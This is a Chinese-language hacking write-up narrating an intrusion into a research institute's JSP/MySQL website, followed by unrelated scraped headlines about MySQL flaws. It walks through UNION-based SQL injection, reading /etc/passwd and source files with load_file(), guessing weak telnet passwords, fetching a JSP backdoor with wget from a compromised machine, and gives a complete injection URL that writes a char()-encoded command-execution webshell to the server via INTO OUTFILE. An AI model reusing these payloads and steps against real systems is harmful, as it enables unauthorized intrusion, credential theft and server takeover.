由Jsp+Mysql注入到root权限的全程展

js|mysql

最近有点空闲,所以写点垃圾文章来消磨一下时间.文中没有什么技术含量,如果要转载,请注明作者并保持文章的完整.
很多人可能都知道asp,php的编程要防止sql注入漏洞,而并不知道jsp编程同样也需要防备sql注入漏洞.其实,一旦jsp代码有注入漏洞,将直接影响到整个系统的安全。本文就是主要展示一下我的一次JSP+MYSQL注入导出webshell的过程。
    www.***.***.cn是国内某一个著名研究所的网站,我们在这里对其进行善意的测试。当然,在写此文之前我已经将漏洞通知了网站管理员.并对文中所有的图片进行了处理,还粘贴了个我大三的时候自己发明的一个数学公式的图,希望让大家同时可以领会到数学更是博大精深(呵呵,当然研究数学更是人间正道).
1.寻找注入点
进入其首页,在新闻里面随便点了个新闻浏览,习惯地在其地址后面加个单引号’,链接上去后出现如图1所示。
 
                                         (图1)
    从图中的信息容易看出此网站的数据库中有个表的名字(tablename)是zhxw。可惜的是看不到web路径。把引号’改为 and 1=1则返回正常页,而改为 and 1=2 则出现错误页.从而可以断定有注入漏洞.再用telnet探测此主机器的3306端口,返回如图2所示的结果。
 
                                        (图2 )
由此可以断定此网站的数据库程序是mysql。.

2.猜解表名
 有了注入点,我们就会想到用union来构造sql语句。我们开始猜测表zhxw的字段数,在注入点的地址后面加上union select 1 得到错误页面如图3所示。
 
                                      (图3 )
逐步在union select 1后面加上四个数字2,3,4,5后均出现图3的情况(注意每加一个数字的时候都要用个逗号,来隔开).看来字段数量不对。当在注入点地址后面加上union select 1,2,3,4,5,6 就返回一个正常的页面。说明表zhxw的字段数就是6.现在就可以来手工猜测一些常见的表名。很快想到就是admin表,在注入点地址后面加上union select 1,2,3,4,5,6 from admin,并把id=后面的1530改成一个不存在的id例如-1,结果出现如图4所示。
 
                                      (图4 )
说明表admin是存在的,且可以在数字2和3处插入表的字段名或者mysql自带的函数来获取数据库的信息.现在来猜测admin表的字段名及其值.经手工猜测得到了admin表的字段名adminname和adminpwd的值如图5所示.
 
                                           (图5 )

3.找web路径及web管理入口
记得angel的文章<>里面有个非常重要的函数load_file().我们现在就用这个函数来查找web路径.经测试发现在数字2处用load_file()函数替换后显示出来的结果不全,但是在数字3处用load_file()函数替换后显示出来的结果很全.我估计是与表zhxw的字段长度有关.而且我猜测此系统是unix的系统.所以我在先从根目录处查找web路径!如图6所示.
 
                                      (图6 )
图6中的画线处的www应该存放了web的目录,再用load_file(‘/www’),得到web确切路径是/www/ping(我这里用ping代替了其www后面的那个真实的目录名).并找到了/www/ping目录下有个bbs目录及后台管理页adminlog.jsp.

4.获取服务器一般权限的shell
    有了管理页面我们自然想得到要通过图5中的帐号登录进去并上传个JSP WEBSHELL,可是令人失望的是用这个帐号登录的时候发现既没有报错也没有成功登录进去.后来才从bbs目录下的readme.txt得知此bbs只允许其网站内部网ip进行管理,所以此路不通.其次,我们自然会想到查找mysql的root口令来获取shell.所以想看看index.jsp的源代码是否调用了个公共的数据库连接文件,然后我们再查看这个公共数据库连接文件源代码中的数据库连接信息.我们在这里用语句’load_file()…into outfile’来查看jsp源代码;所以我们在ie中提交http://www.xxx.xxx.cn/content.jsp?tablename=kydt&id=390003%20union%20select%201,2,load_file('/www/ping/index.jsp'),4,5,6%20from%20admin into outfile ‘/www/ping/ping.txt’,然后在ie中输入http://www.xxx.xxx.cn/ping.txt就得到了index.jsp的源码.令人吃惊的是,index.jsp并没有调用个数据库连接的公共文件,而是把数据库的连接信息直接写在代码中了,并且得到mysql帐户root的口令就是空。这时我们有了mysql的root的口令,想试一试远程连接此mysql服务器。但是我们想起了图2中的信息”Host 'xxx.xxx.xxx.170' is not allowed to connect to this MySQL server”,就知道从本地连接此网站的mysql数据库是连不上的!看来此路也不通.这时,我们就要去用社会工程学了。先看看此服务器是否开放了22,23端口,发现服务器开放了23端口,再用load_file()函数来获得文件/etc/passwd的信息。由文件/etc/passwd的信息我手工测试其telnet服务的弱口令,很幸运,我找到了五个有弱口令的帐号,用其中的一个帐号登录后得到的shell如图7所示.
 
                                     (图7 )
从图中易看出操作系统还是sunos5.8.

5.提升权限
     有了低权限的shell自然想到去下载与sunos5.8相关的exploit来提升权限.我找了很久就是没有找到有效的exploit.既然我们已经有了个shell,那么我们就可以在shell里面登录他的mysql服务器了.如果mysql是以root身份运行的话,我们就可以用文<< How apache.org was defaced>>及文<< MySQL UDF Dynamic Library Exploit>>中的方法来提升权限了.结果失败了,错误信息如图8和图9所示.
 
                                      (图8 )
 
                                      (图9 )
错误原因估计是与操作系统有关,因为我用这两种方法在linux的系统上测试成功了!哎,看来山穷水尽了!于是对此服务器的渗透暂停了一下。可能休息后头脑比较清醒,思想的火花一下就冒出来。这个时候我想起一篇入侵Tomcat的文章,里面提到上传JSP后门到web路径下后直接就得到了root权限!于是,我就在shell下用wget命令从我的肉鸡上传了个JSP的后门到web路径下面。然后用ie测试了一下权限,竟然发现这个WEBSHELL就是root权限,如图10所示。 
                                        (图10 )

6.注入导出webshell

6.注入导出webshell
假设我们没有得到他的telnet的弱口令,那如何来得到此站的webshell?angel在文<<MySQL注入中导出字段内容的研究--通过注入导出WebShell>> 及文<<PHP+MySQL注入导出文件的新发现--附带IPB2的漏洞利用>>中研究了由mysql注入导出文件得到webshell的方法.很多人可能觉得他的方法局限性大. 因为当php.ini中magic_quotes_gpc = on时,运用into outfile导出文件的时候会不成功!但是jsp+mysql的网站就没有magic_quotes_gpc = on这样的设置.所以说他的方法在jsp+mysql注入中发出了耀眼的光芒!

 我们这里要用到的jsp webshell是

我们把上述代码中的回车去掉,并转换为ascii码如图11所示.
                                      (图11)
再在ie中提交如下地址
http://www.***.***.cn/content.jsp?tablename=zhxw&id=1530%20and%201=2%20union%20select%201,1,char(60,37,64,32,112,97,103,101,32,105,109,112,111,114,116,61,34,106,97,118,97,46,105,111,46,42,34,32,37,62,60,37,116,114,121,32,123,83,116,114,105,110,103,32,99,109,100,32,61,32,114,101,113,117,101,115,116,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,99,109,100,34,41,59,80,114,111,99,101,115,115,32,99,104,105,108,100,32,61,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,99,109,100,41,59,73,110,112,117,116,83,116,114,101,97,109,32,105,110,32,61,32,99,104,105,108,100,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,105,110,116,32,99,59,119,104,105,108,101,32,40,40,99,32,61,105,110,46,114,101,97,100,40,41,41,32,33,61,32,45,49,41,32,123,111,117,116,46,112,114,105,110,116,40,40,99,104,97,114,41,99,41,59,125,105,110,46,99,108,111,115,101,40,41,59,116,114,121,32,123,99,104,105,108,100,46,119,97,105,116,70,111,114,40,41,59,125,32,99,97,116,99,104,40,73,110,116,101,114,114,117,112,116,101,100,69,120,99,101,112,116,105,111,110,32,101,41,32,123,101,46,112,114,105,110,116,83,116,97,99,107,84,114,97,99,101,40,41,59,125,125,32,99,97,116,99,104,32,40,73,79,69,120,99,101,112,116,105,111,110,32,101,41,32,123,83,121,115,116,101,109,46,101,114,114,46,112,114,105,110,116,108,110,40,101,41,59,125,37,62),1,1,1%20from%20admin%20into%20outfile%20'/www/ping/pingping.jsp'/*
返回如图12所示结果
 
                                        (图12)
呵呵,提示有错误,其实已经成功了!我们直接在ie中连接此web目录中后门的地址得到如图13所示
 
                                       (图13)
确实成功了!
    我们的渗透也就此结束了.由于本人水平有限,文中难免有不当之处,请多多指教。我的qq是874842,我的email:wilse4694@sina.com.

参考文献1.<<SQL Injection with MySQL>>
http://www.4ngel.net/article/36.htm
2. <<Advanced SQL Injection with MySQL>>
http://www.4ngel.net/article/30.htm
3.<<MySQL UDF Dynamic Library Exploit>>
http://www.securiteam.com/exploits/6G00P1PC0U.html
4.<<how apache.org was defaced>>
http://www.securiteam.com/securitynews/5MP031P1FG.html
5.<< MySQL注入中导出字段内容的研究--通过注入导出WebShell>>
http://www.4ngel.net/article/37.htm
6.<<PHP+MySQL注入导出文件的新发现--附带IPB2的漏洞利用>>
http://www.4ngel.net/article/43.htm

 

时间: 2025-01-18 22:45:53

由Jsp+Mysql注入到root权限的全程展的相关文章

设置mysql远程连接root权限

http://blog.163.com/guotao_163/blog/static/2368282201010422031307/

MySQL 0Day漏洞出现 该漏洞可以拿到本地Root权限 绿盟科技发布防护方案

2016年9月12日, legalhackers.com网站发布了编号为CVE-2016-6662的0day漏洞公告 .由于该漏洞可以获得MySQL服务器的Root权限,且影响MySql5.5.5.6.5.7乃至最新版本,绿盟科技安全团队发布高级威胁预警通告,这意味着该漏洞影响范围比较广,危害严重,利用难度较低,绿盟科技将在7*24小时内部应急跟踪,24小时内完成技术分析.产品升级和防护方案. 该漏洞可以允许攻击者远程向MySQL配置文件(my.cnf)注入恶意的环境配置,从而导致严重后果.该漏

MySQL.com被黑 黑客挂牌出售其root权限

Amorize的安全研究人员最近表示,已经确认http://www.aliyun.com/zixun/aggregation/6292.html">黑客入侵MySQL.com,并通过iframe的方法让用户感染了恶意代码,他们已经追踪到佛罗里达和瑞典两个恶意软件托管地,在当地时间周一下午依然在对MySQL.com的访客实施攻击,用户凭据可能已经遭到了窃取,因此建议MySQL.com注册过的用户修改自己与此相同的密码. 更糟的是研究发现,MySQL.com的root权限似乎已经开始在俄罗斯的

mysql mysql权限-如何恢复mysql数据库的root账户权限

问题描述 如何恢复mysql数据库的root账户权限 本人小白,在服务器装了mysql之后,在phpmyadmin里自作聪明创建了一个新的账号(newroot),然后给了所有权限(除了Grant),然后就把root账号的权限都取消了..现在发现这个新的账号,不能给新建账号分配数据库权限,很坑爹呀.. 求前辈们指点,如何恢复root权限

MySQL现高危漏洞,可致服务器root权限被窃取

上周,一位名叫Dawid Golunski的波兰黑客发现了存在于MySQL中的漏洞:一个远程root代码执行漏洞和一个权限提升漏洞.当时,Golunski只提供了第一个漏洞的poc,但是承诺之后会透露第二个漏洞(CVE-2016-6663)的更多细节. 本周二,Golunski公布了针对两个漏洞的PoC:第一个PoC针对的是之前的高危权限提升漏洞,而另一个PoC针对的则是一个新的root权限提升漏洞,利用这个漏洞,攻击者能够获取到整个数据库的权限. 漏洞编号 CVE-2016-6663 CVE-

mysql免安装没有任何root权限

1.下载 MySQL Community Server 5.5.41 Linux - Generic Compressed TAR Archive mysql下载链接 2.解压tar包.例如:解压到/home/work目录下,附:由于解压文件名过长,可通过重命名或者创建软链接.小弟重命名成mysql了 3.#cd mysql –进入mysql工作目录 4.#cp support-files/my-medium.cnf my.cnf –复制官方提供的配置文件 #vi my.cnf –修改并添加一些

mysql远程代码执行/权限提升漏洞

就我目前测试的情况来看,这个漏洞比较鸡肋,原因有以下两点: 1,使用默认方式安装的mysql,mysql用户并没有配置文件/etc/mysql/my.cnf的所属权限: 2,不关闭selinux或apparmor的话,exp脚本执行是会报错的. legalhackers原文中提到这个漏洞的前提是很多人按照错误的安装指南来进行权限配置,将配置文件的所属用户修改成了mysql.不过貌似漏洞发现者手里还藏了几个更加严重的mysql漏洞,并没有披露. I. VULNERABILITY MySQL <=

SQL Injection with MySQL 注入分析_安全教程

声明 本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责,本文所有代码均为本人所写,所有数据均经过测试.绝对真实.如果有什么遗漏或错误,欢迎来安全天使论坛和我交流. 前言 2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称

MySQL数据库的root口令恢复方法总结

MySQL数据库的root口令恢复方法总结 方法一 1. 下载MySQL源码分发包,不用区分操作系统,我们需要的东西是一样的: 2. 重命名自己的mysql的data目录下的mysql文件夹为oldmysql: 3. 将源码包中data目录下的mysql目录复制到你的mysql的data目录下: 4. 重新启动mysql,现在mysql的授权关系同全新安装的一样,空密码登陆,然后自行调整授权: 5. 打开oldmysql这个库检查到底出现了什么问题 : 6. 如果有备份对系统中原有的数据库进行完